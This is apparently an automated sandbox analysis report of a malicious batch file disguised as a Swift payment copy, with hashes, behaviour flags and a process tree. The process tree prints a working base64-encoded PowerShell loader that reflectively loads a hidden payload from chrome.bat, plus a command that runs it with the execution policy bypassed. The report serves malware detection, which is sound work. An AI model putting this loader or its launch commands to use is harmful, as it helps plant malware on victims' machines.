17d3d953d8fabc5433929f4c8b9cddf8f6f266353a80887d6643bfd3a0a93f25

General

Target

Rimessa _Swift_Copy_104.bat
Size

190KB
MD5

9c8e718ad44b4580a60af5297036b3b2
SHA1

c399ac2601b440e518eb778609986ea54c218ccf
SHA256

de6511f08ed03c52a930a8825a34ff72bfc54d51110a4412a3f656a0da4b1f49
SHA512

435c2e21ba8c3fa46421fd259ca4a8044eedbaec9c902b2e6b63b4c5716cb18aaf9578c5e8bb6bef0b8e4031d24c5f1b4fb8d264e2e21c45b0a6847dca0c451c
SSDEEP

3072:ehRrgvH6Sn0Kpt0Ifi+neNrP1gnrV2GCs11IxDdLNf+eyRBmZggHRzjS9b1yOcOA:ehVS0tIfZeNpgB25s1CnBwmZB/S9pkBr

Score

1^/10

Malware Config

Signatures

Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2636 powershell.exe
2712 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2636 powershell.exe
2712 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2636 powershell.exe
Token: SeDebugPrivilege 2712 powershell.exe

pid	process
2636	powershell.exe
2712	powershell.exe

pid	process
2636	powershell.exe
2712	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 2980 wrote to memory of 1948	2980	cmd.exe	cmd.exe
PID 2980 wrote to memory of 1948	2980	cmd.exe	cmd.exe
PID 2980 wrote to memory of 1948	2980	cmd.exe	cmd.exe
PID 1948 wrote to memory of 2636	1948	cmd.exe	powershell.exe
PID 1948 wrote to memory of 2636	1948	cmd.exe	powershell.exe
PID 1948 wrote to memory of 2636	1948	cmd.exe	powershell.exe
PID 1948 wrote to memory of 2636	1948	cmd.exe	powershell.exe
PID 1948 wrote to memory of 2712	1948	cmd.exe	powershell.exe
PID 1948 wrote to memory of 2712	1948	cmd.exe	powershell.exe
PID 1948 wrote to memory of 2712	1948	cmd.exe	powershell.exe
PID 1948 wrote to memory of 2712	1948	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Rimessa _Swift_Copy_104.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2980

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Rimessa _Swift_Copy_104.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:1948

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY2hyb21lLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"
3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2636

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"
3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2712

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
9833040ee07a5d1addb0a2f62d738a02

SHA1
ed8c4c2acb14eadf2f18338d638829d8b4f222ef

SHA256
019a4947fea83e2f00cc5d420ff20680ec626cb73973118e53ca06a1b8504c3b

SHA512
0815d33a39f36b595e959eb4234956526860da51936134b80aeb72bace75c6022c41cb1ac00f023860ba5421be52b260afbaaa19e3f5da518811f70842394ace

Download Submit
C:\Users\Admin\chrome.bat
Filesize
190KB

MD5
9c8e718ad44b4580a60af5297036b3b2

SHA1
c399ac2601b440e518eb778609986ea54c218ccf

SHA256
de6511f08ed03c52a930a8825a34ff72bfc54d51110a4412a3f656a0da4b1f49

SHA512
435c2e21ba8c3fa46421fd259ca4a8044eedbaec9c902b2e6b63b4c5716cb18aaf9578c5e8bb6bef0b8e4031d24c5f1b4fb8d264e2e21c45b0a6847dca0c451c

Download Submit
C:\Users\Admin\chrome.ps1
Filesize
1KB

MD5
1d6288e218ce9fed4e703ef5aa2e6c08

SHA1
39c5fbc0b8931bab67c40dc3f45be696ea3beb90

SHA256
d0832834c002fe7e915e8c78b21642df8ab90dd778e77f8c9dfbf93d9a517ae6

SHA512
c45d64b2aede293f414e1325d711df3314cf9527a62dbb362cf4210b8eeedcb8232feca70bf6a548cc865c9598c02620667b4920a049c9f50d7d7c0eda68507c

Download Submit
memory/2636-4-0x00000000741A0000-0x000000007474B000-memory.dmp

Filesize
5.7MB

Download
memory/2636-5-0x0000000002C20000-0x0000000002C60000-memory.dmp

Filesize
256KB

Download
memory/2636-6-0x00000000741A0000-0x000000007474B000-memory.dmp

Filesize
5.7MB

Download
memory/2636-7-0x0000000002C20000-0x0000000002C60000-memory.dmp

Filesize
256KB

Download
memory/2636-9-0x00000000741A0000-0x000000007474B000-memory.dmp

Filesize
5.7MB

Download
memory/2712-17-0x0000000074150000-0x00000000746FB000-memory.dmp

Filesize
5.7MB

Download
memory/2712-16-0x0000000002C70000-0x0000000002CB0000-memory.dmp

Filesize
256KB

Download
memory/2712-20-0x0000000002C70000-0x0000000002CB0000-memory.dmp

Filesize
256KB

Download
memory/2712-15-0x0000000074150000-0x00000000746FB000-memory.dmp

Filesize
5.7MB

Download
memory/2712-18-0x0000000002C70000-0x0000000002CB0000-memory.dmp

Filesize
256KB

Download
memory/2712-22-0x0000000074150000-0x00000000746FB000-memory.dmp

Filesize
5.7MB

Download
memory/2712-23-0x0000000002C70000-0x0000000002CB0000-memory.dmp

Filesize
256KB

Download
memory/2712-24-0x0000000002C70000-0x0000000002CB0000-memory.dmp

Filesize
256KB

Download
memory/2712-25-0x0000000002C70000-0x0000000002CB0000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads